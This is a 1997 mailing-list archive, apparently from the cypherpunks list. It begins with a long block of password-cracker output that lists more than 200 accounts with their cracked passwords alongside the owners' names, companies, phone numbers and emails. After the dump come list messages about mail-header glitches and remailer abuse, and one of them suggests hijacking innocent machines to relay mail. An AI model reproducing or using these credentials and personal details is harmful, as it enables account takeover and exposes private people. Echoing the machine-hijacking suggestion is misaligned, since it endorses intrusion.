Guessed lighthouses [lighthouses [DATADATA]]  Mimi Morissette,,503-203-8880, [etc_passwd.fixed /bin/tcsh]
Guessed astrology [astrology [DATADATA]]  Mimi Morissette,,503-203-8880, [etc_passwd.fixed /bin/tcsh]
Guessed bkinfo [bkinfo [RAYRAY]]  Kareem Hassan,,216-439-1019,hawk7640 at aol.com [etc_passwd.fixed /bin/tcsh]
Guessed goldenaura [goldenaura [DATADATA]]  ,,, [etc_passwd.fixed /bin/tcsh]
Guessed shakespeare [shakespeare [DATADATA]]  Mim i Morissette,,503-203-8880, [etc_passwd.fixed /bin/tcsh]
Guessed rolyatge [rolyatge [DRAWDE]]  George Taylor,,717-424-1816, [etc_passwd.fixed /bin/tcsh]
Guessed rolyat [rolyat [DRAWDE]]  George Taylor,Taylor Computerized Services,717-424-1816, [etc_passwd.fixed /bin/tcsh]
Guessed details13 [details13 [111111]]  Dave,Sheehan & Associates,,dave at ompd.com [etc_passwd.fixed /bin/tcsh]
Guessed ompd [ompd [111111]]  Dave Sheehan,,708-954-9101, [etc_passwd.fixed /bin/tcsh]
Guessed detailsnow [detailsnow [000000]]  Bob Wagner,,305-534-2769, [etc_passwd.fixed /bin/tcsh]
Guessed remove3 [remove3 [111111]]  Dave,Sheehan & Associates,773-277-2900,dave at ompd.com [etc_passwd.fixed /bin/tcsh]
Guessed details14 [details14 [111111]]  Dave,Sheehan & Associates,773-277-2900,dave at ompd.com [etc_passwd.fixed /bin/tcsh]
Guessed details15 [details15 [111111]]  Dave,Sheehan & Associates,773-277-2900,dave at ompd.com [etc_passwd.fixed /bin/tcsh]
Guessed vlk9 [vlk9 [123456]]  ,VLK9 Network,602-874-9247,kat187 at juno.com [etc_passwd.fixed /bin/tcsh]
Guessed details12 [details12 [111111]]  Dave,Sheehan & Associates,773-277-2900,dave at ompd.com [etc_passwd.fixed /bin/tcsh]
Guessed hitme [hitme [000000]]  Bob Wagner,Amerinet,305-534-2769,amerinet at bridge.net [etc_passwd.fixed /bin/tcsh]
Guessed mkiely [mkiely [12345]]  Al Walentis,VG Productions,610-370-2340,cyber1 at nni.com [etc_passwd.fixed /bin/tcsh]
Guessed vlk9a [vlk9a [123456]]  Nancy A Tietien,VLK9 Network,602-874-9247,kat187 at juno.com [etc_passwd.fixed /bin/tcsh]
Guessed lists [lists [JOSHUA]]  Disney,,, [etc_passwd.fixed /bin/tcsh]
Guessed website [lists [JOSHUA]]  Barry Disney,Network Marketing Group Inc.,513-961-6022, [etc_passwd.fixed /bin/tcsh]
Guessed morinfo [morinfo [CESSNA]]  John Fraine,,941-732-1872,hirate at aol.com [etc_passwd.fixed /bin/tcsh]
Guessed ragesking [ragesking [KIMMY]]  Gary S. Kuzel,,630-985-5191,gskinc at aol.com [etc_passwd.fixed /bin/tcsh]
Guessed pichx [pichx [DRAGON]]  Bernhard Bowitz,,852-9-190-3688, [etc_passwd.fixed /bin/tcsh]
Guessed srdindusry [srdindusry [SAILING]]  Brian McDermott,SRD Corp.,860-295-8377, [etc_passwd.fixed /bin/tcsh]
Guessed softcell [softcell [SOFTIE]]  Adam Morgan / Softcell,,212-953-5234, [etc_passwd.fixed /bin/tcsh]
Guessed glory [glory [HUMBOLDT]]  Pamela Murphy,,901 784-6036, [etc_passwd.fixed /bin/tcsh]
Guessed mybox [mybox [FORWARD]]  Thomas Cox,,, [etc_passwd.fixed /bin/tcsh]
Guessed xtraco [xtraco [ORANGES]]  Joseph Ambrose,,800-247-0792 / 810-767-8405 / 810-767-1884,xtraco at cris.com [etc_passwd.fixed /bin/tcsh]
Guessed eznrg [eznrg [DIAMOND]]  Kim Krueger,,602-878-8812, [etc_passwd.fixed /bin/tcsh]
Guessed a030253 [a030253 [SIERRA]]  GEORGE NIELSEN,01133130324163,, [etc_passwd.fixed /bin/tcsh]
Guessed egtech [egtech [JOSHUA]]  Barry Disney,,, [etc_passwd.fixed /bin/tcsh]
Guessed homelab [homelab [MIRACLES]]  Mary Addams-Shaffer,,1-156-627-4551, [etc_passwd.fixed /bin/tcsh]
Guessed mktginfo [mktginfo [MARTHA]]  Robert Hutton,,,RHutton at mail.idt.net [etc_passwd.fixed /bin/tcsh]
Guessed mikeplus2 [mikeplus2 [SNIFFY]]  Mike Mormile,,334-298-4059, [etc_passwd.fixed /bin/tcsh]
Guessed vistagroup [vistagroup [KODIAK]]  George Gaul,The Vista Group,303-674-2256,captain at ecentral.com [etc_passwd.fixed /bin/tcsh]
Guessed thanku [thanku [ELBOWS]]  Doug Sutton,,, [etc_passwd.fixed /bin/tcsh]
Guessed herbalpc [herbalpc [SPUNKY]]  Pat Connolly / Joyce,,309-691-1762,herbalpc at ix.netcom.com [etc_passwd.fixed /bin/tcsh]
Guessed testing [testing [MIRACLES]]  Mary Addams-Shaffer,,1-156-627-4551, [etc_passwd.fixed /bin/tcsh]
Guessed wolfgang [wolfgang [OLIVER]]  Bui VaneLinde,,, [etc_passwd.fixed /bin/tcsh]
Guessed llgun [llgun [LOKEY]]  Lois Gunnerson,Dynamic Marketing Group,602-949-0031, [etc_passwd.fixed /bin/tcsh]
Guessed xpres [xpres [LANSING]]  Shawn Sageghieh,Email Express,714-568-9688,714-443-4559 [etc_passwd.fixed /bin/tcsh]
Guessed give [give [TUCKER]]  Jay Holtman,,312-666-4956, [etc_passwd.fixed /bin/tcsh]
Guessed zen [zen [KITTY]]  Joe Zielinski,Z Lite,708-720-4929, [etc_passwd.fixed /bin/tcsh]
Guessed mustsee [mustsee [JACKSON]]  Tom Cox,,954-925-8132,dodger3 at laker.net [etc_passwd.fixed /bin/tcsh]
Guessed aopptun [aopptun [BENNIE]]  AMOS FISHER,,, [etc_passwd.fixed /bin/tcsh]
Guessed amnat3 [amnat3 [PARROT]]  Lenn Feldmann,,914-351-5051, [etc_passwd.fixed /bin/tcsh]
Guessed hologram [hologram [PHONECAR]]  Mimi Morissette,,503-203-8880, [etc_passwd.fixed /bin/tcsh]
Guessed injuredjoe [injuredjoe [CAPTAIN]]  Todd Syska,,914-266-8322, [etc_passwd.fixed /bin/tcsh]
Guessed healthy4u [healthy4u [BEGIN]]  Betty M. Colombo,healthyu at juno.com,516-541-3001,516-541-3079 [etc_passwd.fixed /bin/tcsh]
Guessed tntalgae [tntalgae [FROSTY]]  Todd Thompson,,303-765-5950, [etc_passwd.fixed /bin/tcsh]
Guessed gks [gks [DANCER]]  Callie Goodrum,GKS Enterprises,706-554-6181, [etc_passwd.fixed /bin/tcsh]
Guessed praetor [praetor [TEMP]]  Dave Browning,,, [etc_passwd.fixed /bin/tcsh]
Guessed midstateop [midstateop [SPIKE]]  Terry Eisenberg,,717-741-1159, [etc_passwd.fixed /bin/tcsh]
Guessed extractor [extractor [JOSHUA]]  Barry Disney,,, [etc_passwd.fixed /bin/tcsh]
Guessed lorios [lorios [DOLORES]]  Al Brooks,,619-487-9664, [etc_passwd.fixed /bin/tcsh]
Guessed zitbuster [zitbuster [ARTURO]]  Art Sel Barrio,Art *Del* Barrio,210-581-7163, [etc_passwd.fixed /bin/tcsh]
Guessed showcase [showcase [MIDAS]]  Bill Panchuck,,810-674-0444, [etc_passwd.fixed /bin/tcsh]
Guessed ableman [ableman [SEESAW]]  Barry G. Swenson / Reg Hardy,Able Co. Services Inc.,954-565-0270,954-563-1767 [etc_passwd.fixed /bin/tcsh]
Guessed infotape [infotape [STARFISH]]  Delbert Rohm,,509-332-6308, [etc_passwd.fixed /bin/tcsh]
Guessed thegreen [thegreen [PEPPER]]  Mark Olynyk,Green Pages,201-785-0024, [etc_passwd.fixed /bin/tcsh]
Guessed aperillo [aperillo [BUNNER]]  Anthony Perillo,,516-822-6395, [etc_passwd.fixed /bin/tcsh]
Guessed csn [csn [BASKETBA]]  Mike Mullen,ProBasketball Electronic Services,941-365-HOOP,hoops at kudos.net [etc_passwd.fixed /bin/tcsh]
Guessed secret [secret [ALEXANDR]]  Thomas Cox,,954-925-8132,dodger3 at laker.net [etc_passwd.fixed /bin/tcsh]
Guessed details [details [SKIPPY]]  ,Kevin Griffith,770-967-0726, [etc_passwd.fixed /bin/tcsh]
Guessed biznews [biznews [DRAGON]]  Linda Bruton,,510-704-1466, [etc_passwd.fixed /bin/tcsh]
Guessed hummingbrd [hummingbrd [CLOVER]]  gil Gerald,Gil Gerald And Associates,213-953-7980, [etc_passwd.fixed /bin/tcsh]
Guessed minesh [minesh [ASHWIN]]  A. Bhindi,Ambassador Finance,011-44-0081-597-1262,ashinuk at aol.com [etc_passwd.fixed /bin/tcsh]
Guessed JBA1231 [JBA1231 [STARSHIP]]  Jorge Acevedo,,212-856-7658, [etc_passwd.fixed /bin/tcsh]
Guessed freelance [freelance [SELINA]]  Bob Thompson,,864-232-0743, [etc_passwd.fixed /bin/tcsh]
Guessed univer [univer [PIPER]]  James Rockwell,,909-466-1411, [etc_passwd.fixed /bin/tcsh]
Guessed rhutton [rhutton [MARTHA]]  Robert Hutton,Marketing Concepts,212-333-3131, [etc_passwd.fixed /bin/tcsh]
Guessed agape [agape [LOGOS]]  Adrian Watson,Y.A.M. Incorporated,,hpatrick at nls.net [etc_passwd.fixed /bin/tcsh]
Guessed awareness [awareness [HAPPY]]  Mark Hecox,VAliente Marketing,714-779-7154, [etc_passwd.fixed /bin/tcsh]
Guessed capital [capital [CESSNA]]  Louten Hedgpeth & Jack Langhorne,,910-392-7122,lrhedgpeth at aol.com [etc_passwd.fixed /bin/tcsh]
Guessed infostart [infostart [GOFORIT]]  Gary Brendle,,410-349-1260, [etc_passwd.fixed /bin/tcsh]
Guessed donl [donl [DONELLE]]  Don Lewis,,909-985-0651, [etc_passwd.fixed /bin/tcsh]
Guessed peak [peak [ORGASMIC]]  Ron Goulet,,520-779-5342, [etc_passwd.fixed /bin/tcsh]
Guessed vipvalues [vipvalues [GRACE]]  Michael Franklin,V.I.P.,213 753-9241, [etc_passwd.fixed /bin/tcsh]
Guessed lilleyen [lilleyen [GANDALF]]  Richard Lilley,Lilley Enterprises,905-319-1369, [etc_passwd.fixed /bin/tcsh]
Guessed ozone [ozone [TOWLES]]  Jogn Towles,,817-859-5187, [etc_passwd.fixed /bin/tcsh]
Guessed welcome [welcome [SNOWSTOR]]  Joe Kuhn,,908-220-1110,qwikmail at raven.cybercomm.net [etc_passwd.fixed /bin/tcsh]
Guessed child [child [MIDAS]]  Bill Panchuck,Showcase,eaglekoz at ix.netcom.com, [etc_passwd.fixed /bin/tcsh]
Guessed cellular [cellular [DISKETTE]]  John Hendrix,Simply Natural Prod,713 484-3490, [etc_passwd.fixed /bin/tcsh]
Guessed sponsors [sponsors [BASKETBA]]  Mike Mullen,ProBasketball Electronic Services,941-365-HOOP,hoops at kudos.net [etc_passwd.fixed /bin/tcsh]
Guessed cbccorp [cbccorp [SCOUT]]  Peter Donofrio,,, [etc_passwd.fixed /bin/tcsh]
Guessed autoreply [autoreply [NORTHLAN]]  Karen Nelson,Northland Specialty Products,218-727-8641,rnelson at cp.duluth.mn.us [etc_passwd.fixed /bin/tcsh]
Guessed money4u [money4u [KELLY]]  PJ Graves,P. Graves Publishing,415-668-9583, [etc_passwd.fixed /bin/tcsh]
Guessed stealdeals [stealdeals [ENERGIZE]]  Barry Sowder,,407-332-0400, [etc_passwd.fixed /bin/tcsh]
Guessed gcmkt [gcmkt [CRAWFISH]]  Neil Goodman,,504-766-8843, [etc_passwd.fixed /bin/tcsh]
Guessed autofuture [autofuture [CADILLAC]]  Andre West,,313-709-4667, [etc_passwd.fixed /bin/tcsh]
Guessed freeway1 [freeway1 [SLACKER]]  Brian Perisho,,317-241-4918, [etc_passwd.fixed /bin/tcsh]
Guessed jl [jl [MILAGROS]]  ,,, [etc_passwd.fixed /bin/tcsh]
Guessed bewealthy [bewealthy [GREENBAC]]  John Wright,334-286-6275,, [etc_passwd.fixed /bin/tcsh]
Guessed freeinfo [freeinfo [CHICLET]]  Alan Lange,,, [etc_passwd.fixed /bin/tcsh]
Guessed deepbreath [deepbreath [ANANDA]]  Dr. Joy Rausmussen,,, [etc_passwd.fixed /bin/tcsh]
Guessed gcprod [gcprod [PRODUC]]  Gary Cuminale,GNC Products,716-381-7132, [etc_passwd.fixed /bin/tcsh]
Guessed infocenter [infocenter [ACCUSER]]  Maynard S. White,,805-945-0351, [etc_passwd.fixed /bin/tcsh]
Guessed grants [grants [TERESA]]  Victor Chapman,CM Consulting,516-377-3307,roger7891 at aol.com [etc_passwd.fixed /bin/tcsh]
Guessed vision [vision [THUNDER]]  Paula Stoup,,717-783-6465,paulas1043 at aol.com [etc_passwd.fixed /bin/tcsh]
Guessed mikeplus1 [mikeplus1 [SNIFFY]]  Mike Mormile,,334-298-4059, [etc_passwd.fixed /bin/tcsh]
Guessed srdcorp [srdcorp [SAILING]]  Brian McDermott,SRD Corp.,860-295-8377, [etc_passwd.fixed /bin/tcsh]
Guessed bncentprs [bncentprs [JESUS]]  Robert Goldinger,BNC Enterprises,757-548-2179, [etc_passwd.fixed /bin/tcsh]
Guessed shamrock [shamrock [CYPRESS]]  Tom Cox,,954-925-8132,dodger3 at laker.net [etc_passwd.fixed /bin/tcsh]
Guessed dlbedding [dlbedding [CHANCE]]  Bill Dantuoson,Donalee Bedding,516-783-9896,billydlm at aol.com [etc_passwd.fixed /bin/tcsh]
Guessed frsecurity [frsecurity [THISISIT]]  Robert Davis,,803-667-0702,jdr02 at aol.com [etc_passwd.fixed /bin/tcsh]
Guessed david [david [REBECCA]]  David Richards,717-242-0873,, [etc_passwd.fixed /bin/tcsh]
Guessed pegasustrv [pegasustrv [LIZZIE]]  Claire Covington Altorfer,Pegasus Travel,510-825-5777, [etc_passwd.fixed /bin/tcsh]
Guessed employnews [employnews [INGRID]]  Reginald Barefield,,610-798-7869, [etc_passwd.fixed /bin/tcsh]
Guessed carproinc [carproinc [GROSS]]  Wayne T. Carsey Jr.,Car Pro Inc,916-853-9721,wcarsey at aol.com [etc_passwd.fixed /bin/tcsh]
Guessed alexis [alexis [WHALES]]  Mary Knorr,Medical Herbal Resources,602-678-4362, [etc_passwd.fixed /bin/tcsh]
Guessed topscan [topscan [JUSTIN]]  David Hall,,910-855-6375, [etc_passwd.fixed /bin/tcsh]
Guessed mattken [mattken [INWOOD]]  Disney,,, [etc_passwd.fixed /bin/tcsh]
Guessed travelagt [travelagt [GOLDIE]]  David Goldsmith,Hello World Travel,847-673-7610, [etc_passwd.fixed /bin/tcsh]
Guessed coupons [coupons [DISKETTE]]  John Hendrix,,, [etc_passwd.fixed /bin/tcsh]
Guessed salesunlim [salesunlim [COYOTE]]  Ronald Wiley,Sales Unlimited Inc.,908-780-2590, [etc_passwd.fixed /bin/tcsh]
Guessed incomeplus [incomeplus [CHELSEY]]  Dennis Estelle,,908-920-9054, [etc_passwd.fixed /bin/tcsh]
Guessed lecram [lecram [BARUCH]]  Rene Roussey,,516-283-4240, [etc_passwd.fixed /bin/tcsh]
Guessed mortgage [mortgage [PEANUT]]  Louis Salatto,,203-483-6630, [etc_passwd.fixed /bin/tcsh]
Guessed ucan2 [ucan2 [NAMASTE]]  Dr. Joy Rausonussen,,, [etc_passwd.fixed /bin/tcsh]
Guessed hotbiz [hotbiz [ALBERTA]]  Ted Benedict,,604-535-3304, [etc_passwd.fixed /bin/tcsh]
Guessed sjsent [hotbiz [ALBERTA]]  Steven Spohn,SJS Enterprises,610-987-9272, [etc_passwd.fixed /bin/tcsh]
Guessed findout [findout [SWISHER]]  Ben Vann,Blue Whale Media,910-785-9296,bvann at whalemail.com [etc_passwd.fixed /bin/tcsh]
Guessed prosper [prosper [SITUATIO]]  Daniel Sheehey,,707-822-8324,djshee at aol.com [etc_passwd.fixed /bin/tcsh]
Guessed iaplus [iaplus [SALOME]]  Amos Fisher,,717-354-6594, [etc_passwd.fixed /bin/tcsh]
Guessed light [light [RAYMOND]]  AMOS FISHER,,717 354-4046, [etc_passwd.fixed /bin/tcsh]
Guessed cheapcalls [cheapcalls [MAGICAL]]  Richard Rubenstein,,219-864-2501,rnr at pla.net.net [etc_passwd.fixed /bin/tcsh]
Guessed bigprofits [bigprofits [DROSOPHI]]  Steven Ayer,Internet Marketing Solutions,203-421-5070,bigprofits at writeme.com [etc_passwd.fixed /bin/tcsh]
Guessed powernow [powernow [CHELSEY]]  Dennis Estelle,,908-920-5917, [etc_passwd.fixed /bin/tcsh]
Guessed drchris [drchris [PSYCHE]]  Dr. Chris Wolf,,609-983-5129, [etc_passwd.fixed /bin/tcsh]
Guessed amnat1 [amnat1 [PARROT]]  Lenn Feldmann,,914-351-5051, [etc_passwd.fixed /bin/tcsh]
Guessed amsquare [amsquare [MOOSEHEA]]  Doug Petersen,,508-376-1248, [etc_passwd.fixed /bin/tcsh]
Guessed answers [answers [CHELSEY]]  Dennis Estelle,,908-920-5917, [etc_passwd.fixed /bin/tcsh]
Guessed freeads [freeads [BATMAN]]  Bill Guting,,,awt at cwnet.com [etc_passwd.fixed /bin/tcsh]
Guessed college [college [KELLY]]  Pam Graves,,415-668-9583, [etc_passwd.fixed /bin/tcsh]
Guessed powerad [powerad [DENTAL]]  Juanita Boivin,,,urwlthybiz at aol.com [etc_passwd.fixed /bin/tcsh]
Guessed newbuss [newbuss [CHELSEY]]  Dennis Estelle,Pioneer Marketing,908-920-5917, [etc_passwd.fixed /bin/tcsh]
Guessed classads [classads [WINTER]]  Robert Pearsall,,, [etc_passwd.fixed /bin/tcsh]
Guessed zee [zee [SYLVESTE]]  Thomas Cox,,954-925-8132,dodger3 at laker.net [etc_passwd.fixed /bin/tcsh]
Guessed disease [disease [MOOSEHEA]]  Doug Peterson,,508-376-1248, [etc_passwd.fixed /bin/tcsh]
Guessed steveplus [steveplus [GIANTS]]  Barry Disney,,, [etc_passwd.fixed /bin/tcsh]
Guessed matco [matco [PRAISE]]  John Matthews,,972-226-0491, [etc_passwd.fixed /bin/tcsh]
Guessed legalwon [legalwon [CRITTER]]  Peter Brock,Developmental Learning Concepts,301-949-4422, [etc_passwd.fixed /bin/tcsh]
Guessed siteone [siteone [CIRCLE]]  Richard Scott,Richard Scott + Assoc.,334-928-8406, [etc_passwd.fixed /bin/tcsh]
Guessed sandman [sandman [BLASTER]]  Ed Sand,,406-684-5759, [etc_passwd.fixed /bin/tcsh]
Guessed disneygroup [disneygroup [JOSHUA]]  Barry Disney,Network Marketing Group Inc.,513-961-6022, [etc_passwd.fixed /bin/tcsh]
Guessed sevenmil [sevenmil [DOROTHY]]  Eric Ralls,New Horizons,602-547-5911, [etc_passwd.fixed /bin/tcsh]
Guessed adman [adman [CRYSTAL]]  Benjamin Ice,,813-446-5919, [etc_passwd.fixed /bin/tcsh]
Guessed solar1 [solar1 [SHOPPING]]  Gary Corbitt,,310-338-1019, [etc_passwd.fixed /bin/tcsh]
Guessed b6024 [b6024 [PATIENCE]]  Tom Benedict,Tom Benedict,813-528-1548, [etc_passwd.fixed /bin/tcsh]
Guessed online [online [LOVER]]  Joe Cola,Bank Card Systems,800-563-7832, [etc_passwd.fixed /bin/tcsh]
Guessed invest [invest [CRYSTAL]]  Benjamin Ice,,,jammerjoe at aol.com [etc_passwd.fixed /bin/tcsh]
Guessed gocell [gocell [AMANDA]]  Lawrence Falco,L & S Marketing,516-821-1125, [etc_passwd.fixed /bin/tcsh]
Guessed donow [donow [TURNAROU]]  Bradley Near,,602-954-1809, [etc_passwd.fixed /bin/tcsh]
Guessed laptop [laptop [MUSIC]]  Thomas Cox,,954-925-8132, [etc_passwd.fixed /bin/tcsh]
Guessed mktgconcepts [mktgconcepts [MARTHA]]  Robert Hutton,Marketing Concepts,212-333-3131,rhutton at idt.net [etc_passwd.fixed /bin/tcsh]
Guessed wholesaleprices [wholesaleprices [MARIAM]]  Mohammad Hanif,,972-669-2223,compumart at aol.com [etc_passwd.fixed /bin/tcsh]
Guessed removeme [removeme [ERASER]]  Dave Mann,,, [etc_passwd.fixed /bin/tcsh]
Guessed allnatural [allnatural [CHELSEY]]  Dennis Estelle,,908-920-9054, [etc_passwd.fixed /bin/tcsh]
Guessed welltrend [welltrend [BUMBLE]]  Louis Salatto,,203-483-6630, [etc_passwd.fixed /bin/tcsh]
Guessed mquest [mquest [OOPS]]  Phil Brown,Merchant Quest,541-742-6206,pbrown at pdx.oneworld.com [etc_passwd.fixed /bin/tcsh]
Guessed health [health [JESUS]]  Randy Haugen,Cypress Marketing Inc,303-763-5787, [etc_passwd.fixed /bin/tcsh]
Guessed rcenterpi [rcenterpi [HALFWAY]]  Ron Mayfield,,417-445-2602 or 417-445-6797,roncan at juno.com [etc_passwd.fixed /bin/tcsh]
Guessed tvlsecrets [tvlsecrets [CAVIAR]]  Disney,,, [etc_passwd.fixed /bin/tcsh]
Guessed protection [protection [MOOSEHEA]]  Doug Peterson,,, [etc_passwd.fixed /bin/tcsh]
Guessed robtym [robtym [MAKEMYDA]]  Tom Cox,,954-925-8132,dodger3 at laker.net [etc_passwd.fixed /bin/tcsh]
Guessed networkes [networkes [DOROTHY]]  Eric Ralls,,602-547-5911, [etc_passwd.fixed /bin/tcsh]
Guessed helpme [helpme [CORKIE]]  Doug Sutton,905-567-1874,, [etc_passwd.fixed /bin/tcsh]
Guessed profile [profile [METHOD]]  Joe Kuhn,908-220-1110,qwikmail at raven.cybercomm.net, [etc_passwd.fixed /bin/tcsh]
Guessed adna1 [adna1 [MAYE]]  Adna Dalessandro,,216 779-1136, [etc_passwd.fixed /bin/tcsh]
Guessed response [response [STINKY]]  Steve Brown,Business Solutions South,601-832-5031, [etc_passwd.fixed /bin/tcsh]
Guessed anyahu [anyahu [ANKLES]]  Doug Sutton,Winning Edge Systems,905-567-1874, [etc_passwd.fixed /bin/tcsh]
Guessed secret1 [secret1 [ALEXANDR]]  John (see secret),see secret,see secret,see secret [etc_passwd.fixed /bin/tcsh]
Guessed ezwork [ezwork [ACCESS]]  Glenda Smith,,216-291-4589,gs72895 at aol.com [etc_passwd.fixed /bin/tcsh]
Guessed herb [herb [TINSEL]]  Bob Keegan,,215-493-0706, [etc_passwd.fixed /bin/tcsh]
Guessed cash [cash [SYLVESTE]]  Thomas Cox,,954-925-8132,dodger3 at laker.net [etc_passwd.fixed /bin/tcsh]
Guessed choice3 [choice3 [PROFIT]]  Lenn Feldmann,,914-351-5051, [etc_passwd.fixed /bin/tcsh]
Guessed yucan2 [yucan2 [OLIVER]]  ,,, [etc_passwd.fixed /bin/tcsh]
Guessed rainbow [rainbow [WILBUR]]  Patrice Lowe,,219-397-6615, [etc_passwd.fixed /bin/tcsh]
Guessed choice4 [choice4 [PROFIT]]  Lenn Feldmann,,914-351-5051, [etc_passwd.fixed /bin/tcsh]
Guessed jeps318 [jeps318 [MYCROFT]]  John Sallinger,Sallinger Assoc.,412-327-8591, [etc_passwd.fixed /bin/tcsh]
Guessed mortgages [mortgages [MIDAS]]  Bill Panchuck,,810-674-0444, [etc_passwd.fixed /bin/tcsh]
Guessed blizzard97 [blizzard97 [BETSY]]  David Woldt,,605-886-3654,turbo41 at aol.com [etc_passwd.fixed /bin/tcsh]
Guessed mecca [mecca [BACKWARD]]  Thomas Cox resell,,954-925-8132, [etc_passwd.fixed /bin/tcsh]
Guessed teezer [teezer [TEASER]]  Dan Herzner,,914-769-6700, [etc_passwd.fixed /bin/tcsh]
Guessed help4u [help4u [MINERAL]]  Dr. Joy Rausonussen,,, [etc_passwd.fixed /bin/tcsh]
Guessed free800 [free800 [JOSHUA]]  Barry Disney,Network Marketing Group Inc.,513-961-6022, [etc_passwd.fixed /bin/tcsh]
Guessed bdbem [bdbem [ANNIE]]  Louis Salatto,,203-483-8634, [etc_passwd.fixed /bin/tcsh]
Guessed tpn1996 [tpn1996 [TALONS]]  Richard Mathiason,,707-642-8632, [etc_passwd.fixed /bin/tcsh]
Guessed rdlpinfo [rdlpinfo [PARKER]]  Peter Vaglica,,,tlpc at gte.net [etc_passwd.fixed /bin/tcsh]
Guessed healthwealth [healthwealth [JESUS]]  Diane Goselin,,508-791-6828, [etc_passwd.fixed /bin/tcsh]
Guessed eleven [eleven [DOROTHY]]  Eric Ralls,,602-547-5911, [etc_passwd.fixed /bin/tcsh]
Guessed infosales1 [infosales1 [BEAR]]  Steve Crockett,,904-857-7717,infosales1 at aol.com [etc_passwd.fixed /bin/tcsh]
Guessed secrets [secrets [PICKUP]]  Lillian & John Eagan,,908-431-4366, [etc_passwd.fixed /bin/tcsh]
Guessed marketinfo [marketinfo [PARKER]]  Peter Vaglica,,,tlpc at gte.net [etc_passwd.fixed /bin/tcsh]
Guessed kangaroo [kangaroo [LYDIA]]  Matthew Silverman,,508-369-4560, [etc_passwd.fixed /bin/tcsh]
Guessed wealth [wealth [KELLY]]  Chris Molinari,Adler Publishing,408-353-3141, [etc_passwd.fixed /bin/tcsh]
Guessed difaznet [difaznet [GORDO]]  Ray DiFazio,,415-668-5161, [etc_passwd.fixed /bin/tcsh]
Guessed bizopp [bizopp [ALBERTA]]  Ted Benedict,,, [etc_passwd.fixed /bin/tcsh]
Guessed offshore1 [offshore1 [JAMAICA]]  Denise Cook,Marketing Ect Trust,602-979-4844,dicook at sisna.com [etc_passwd.fixed /bin/tcsh]
Guessed diet30 [diet30 [CHELSEY]]  Dennis Estelle,Pioneer Marketing,908-920-5917, [etc_passwd.fixed /bin/tcsh]
Guessed sales [sales [CARRIER]]  Brad Konia,,610-437-1000,brad at fastcolor.com [etc_passwd.fixed /bin/tcsh]
Guessed blessdlife [blessdlife [SUNSHINE]]  Prasit K. Frazee,Lifetronix,704-536-3779,blessdlife at aol.com [etc_passwd.fixed /bin/tcsh]
Guessed jeps317 [jeps317 [MYCROFT]]  John Sallinger,Sallinger Assoc.,412-327-8591, [etc_passwd.fixed /bin/tcsh]





From toto at sk.sympatico.ca  Sat Mar 22 20:30:38 1997
From: toto at sk.sympatico.ca (Toto)
Date: Sat, 22 Mar 1997 20:30:38 -0800 (PST)
Subject: Fixing the "From:" Problem
In-Reply-To: <199703222117.NAA05762@swan>
Message-ID: <3334AA18.3631@sk.sympatico.ca>


Anonymous wrote:
> 
> Previously "The Fly on the Wall" suggested that duplicated "From:"
> lines were somehow caused by cyberpass.net because they do not occur
> on algebra.com.  This was an error.  They do seem to occur on both
> lists.

  I believe that the errors come from cyberpass.net, and only show up
on the messages that algebra.com receives from there and forwards.
 
> > Many of the messages I receive have incorrect "From:" headers. Or,
> > more precisely, they have _two_ such "From:" header lines. My
> > sorting software mislabels the senders, and, in some cases, dumps
> > messages from readers I would like to read into my trash folder.

  This is obviously the result of a conspiracy against yourself. I would
suggest that you send letters to the list exposing yourself as a Nazi
censor and a schill of your inner Sammeer.
 
> Messages in which Hal replies to another reader have a very high
> incidence of double "From:" lines.
> 
> Blanc's messages also seem to have double "From:" lines quite
> frequently which suggests there is a common mode failure here.  Are
> Blanc and Hal using the same mail software by any chance?

  I can't decide which color crayon to use to connect them on my chart.
Red, for secret lovers, or black, for evil twins?  

> The Fly on the Wall
   <swat!>

-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html







From toto at sk.sympatico.ca  Sat Mar 22 20:32:18 1997
From: toto at sk.sympatico.ca (Toto)
Date: Sat, 22 Mar 1997 20:32:18 -0800 (PST)
Subject: The Problem with Remailers
In-Reply-To: <3.0.1.32.19970322183434.030fa800@mail.teleport.com>
Message-ID: <3334B194.4796@sk.sympatico.ca>


Kent Crispin wrote:
> 
> > Any ideas on what can be done to extend the life of the remailer network?
> 
> 1) Be sure that the final mailer is in a country different than the
> target address, a country that cannot be reached legally.
> 
> 2) Randomly take over innocent machines (not part of the remailer
> network) for short periods of time to be the final mailer.  The
> innocent will be able to honestly claim they were victimized as
> well.

  Or steal a page from the spammers' books, and have the messages sent
from throwaway accounts set up at various ISP's.
-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html






From sergey at el.net  Sat Mar 22 20:32:28 1997
From: sergey at el.net (Sergey Goldgaber)
Date: Sat, 22 Mar 1997 20:32:28 -0800 (PST)
Subject: NYU's PGP Key-Signing Seminar - a critique
In-Reply-To: <Pine.ULT.3.95.970321223855.14300B-100000@acf2.NYU.EDU>
Message-ID: <Pine.LNX.3.95.970322232027.153A-100000@void.el.net>


On Fri, 21 Mar 1997, you wrote:

-> On Fri, 21 Mar 1997, Sergey Goldgaber wrote:
-> 
-> > I am writing regarding the PGP Seminar to be held on the 27th of March.
-> > Your informative session is laudible.  And, I would like to take full
-> > advantage of the key-signing session to follow.  However, there is a
-> > certain concern which it would be prudent to address first.
-> 
-> 	Dear Sergey,
-> 
-> 	You are, of course, correct about this -- I knew I missed
-> something when I was making up the instructions (I had to do it in 3
-> minutes).  I've made the correction.

Thank you for replying so promptly to my query.  I am grateful for your
sensitivity to the issues involved.


 ............................................................................
 . Sergey Goldgaber <sergey at el.net>      System Administrator        el Net .
 ............................................................................
 .   To him who does not know the world is on fire, I have nothing to say   .
 .                                                      - Bertholt Brecht   .
 ............................................................................






From toto at sk.sympatico.ca  Sat Mar 22 20:34:00 1997
From: toto at sk.sympatico.ca (Toto)
Date: Sat, 22 Mar 1997 20:34:00 -0800 (PST)
Subject: Perry's Remailer
In-Reply-To: <199703222156.NAA06194@swan>
Message-ID: <3334AAC3.71EE@sk.sympatico.ca>


Anonymous wrote:
> 
> John Perry is shutting down because somebody is using his remailer to
> send unkind messages to the FBI.  (BTW, probably the FBI is sending
> mean messages to the FBI.)
> 
> Why would not one of these solutions work?
> 1. Accept and send PGP encrypted messages only. 
> 2. Keep a list of addresses of people who do not wish to receive mail
> from the remailers.

  Probably because the stopping of alleged threatening letters is not
the issue actually involved, here.
-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html







From gbroiles at netbox.com  Sat Mar 22 20:59:49 1997
